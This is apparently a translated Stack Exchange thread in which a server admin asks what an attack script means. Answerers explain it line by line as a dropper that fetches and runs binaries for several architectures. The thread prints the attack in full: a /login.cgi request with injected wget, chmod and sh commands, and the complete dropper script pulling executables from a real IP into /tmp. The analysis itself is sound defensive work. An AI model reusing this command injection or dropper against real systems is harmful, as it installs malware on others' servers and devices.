Что делает этот скрипт bash? [Попытка взлома]

31

В последнее время я замечал на своих серверах логи apache, следующие странные строки:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Поэтому я создал собственный фильтр Fail2Ban и начал блокировать IP-адреса, запрашивающие эти /login.cgi URL-адреса.

Но мне было любопытно, что они пытались сделать, поэтому я вытащил сценарий, который они пытаются выполнить, и я не могу понять, что именно он делает. Что-нибудь об удалении архивных папок в / var и / tmp?

Во всяком случае, вот оно:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done
ndom91
источник
4
Связанная уязвимость: twitter.com/txalin/status/1007625620090707974?lang=en
user2064000
1
Как этот скрипт попал на ваш сервер?
MrWhite
3
Я просто открываю файл .sh в браузере на моем домашнем компьютере, копирую и вставляю его сюда, он никогда не попал на мой сервер.
ndom91
1
Этот скрипт является «дроппером», который используется для загрузки фактического скрипта эксплойта. Он будет расположен hxxp://80.211.173.159:80/$nameтам, где $nameнаходится каждая архитектура ЦП bin_names. Таким образом, 7 сценариев атаки будут загружены и выполнены
BlueCacti

Ответы:

42

Построчно:

#!/bin/sh

Устанавливает shоболочку в зависимости от линии Шебанга. sh%20/tmp/ksв запросе переопределяет это, поэтому эта строка обрабатывается как обычный комментарий и игнорируется.

u="asgknskjdgn"

Объявляет произвольное имя, предположительно, чтобы избежать столкновения с другими именами файлов. Я не уверен, почему они не будут просто использовать mktemp, но, возможно, это доступно не на всех платформах.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Перечисляет несколько распространенных архитектур ЦП.

http_server="80.211.173.159"
http_port=80

Сервер, на котором есть эксплойт.

cd /tmp/||cd /var/

Пытается изменить каталог, где ваш веб-сервер может создавать файлы. Я верю, что SELinux поможет с этим, установив гораздо более строгие правила относительно того, что может делать веб-сервер, чем файловая система сама по себе.

for name in $bin_names
    do

Для каждой архитектуры процессора ...

    rm -rf $u

Удаляет ранее опробованные программы. Не нужно из-за следующей строки, поэтому можно игнорировать.

    cp $SHELL $u

Копирует текущий исполняемый файл оболочки ( /bin/sh). Может быть проигнорировано из-за строки после следующего.

    chmod 777 $u

Предоставляет всем пользователям полный доступ к новому файлу. Это должно было произойти после wgetкоманды, которая является либо признаком новичка в сценариях оболочки, либо техникой неверного направления.

    >$u

Очищает файл. Бессмысленно из-за следующей строки.

    wget http://$http_server:$http_port/$name -O -> $u

Перезаписывает файл сценарием эксплойта для этой архитектуры. -O -> $uмог быть написан -O - > $u(дефис указывает, что загрузка должна быть записана в стандартный вывод), что эквивалентно -O $u.

    ./$u $name

Запускает скрипт эксплойта с архитектурой в качестве первого аргумента.

done

Завершает цикл.

Похоже, что это тривиальный сценарий попытки эксплойта, пытающийся использовать известные эксплойты на разных процессорных платформах. Я не знаю, почему он перезаписывается $uтри раза, но эти операции могут просто остаться от более ранней итерации сценария. Предположительно, в более ранней версии эксплойты были жестко запрограммированы, а не динамически обслуживаются - первая проще, но почти гарантирует, что скрипт будет менее эффективен со временем, так как исправляются ошибки.

l0b0
источник
21
Есть преимущество в том, что файл явно указан. Если место назначения уже существует и выполняется прямо сейчас, ядро ​​не позволит вам открыть файл для записи (-ETXTBSY). Однако переименование или удаление работающей программы разрешено.
благодарность
Что делает ->в wgetкоманде делать? Почему не просто wget ... -O $u?
RonJohn
1
@RonJohn прочитал это как- >
кошка
5
С -O->filename, filenameне отображается в выводе ps ax . Это может быть преимуществом для усложнения отладки.
Очки
1
Это cpдает вам исполняемый файл. Возможно, полезно, если chmodне удается? Изменить: учитывая, что, очевидно, это предназначается для маршрутизаторов, вполне возможно, что chmodне существует.
Боб
12

Это wgetключевая опасная линия.

Он for name in $bin_namesобрабатывает список платформ и для каждой платформы очищает временный каталог, копирует оболочку и делает ее доступной для всех.

Затем он загружает файл, используя, wgetа затем выполняет его, используя программу оболочки, которую он только что скопировал.

Сценарий в основном пытается загрузить серию исполняемых файлов или сценариев для каждой возможной платформы и втирать их в вашу систему в надежде на дальнейшую угрозу вашей системе.

Мокубай
источник
6
потирает == работает?
Бармар
5
@ Barmar Я уверен, что это было сделано преднамеренно: P
канадец Люк ОБНОВИТЬ МОНИКУ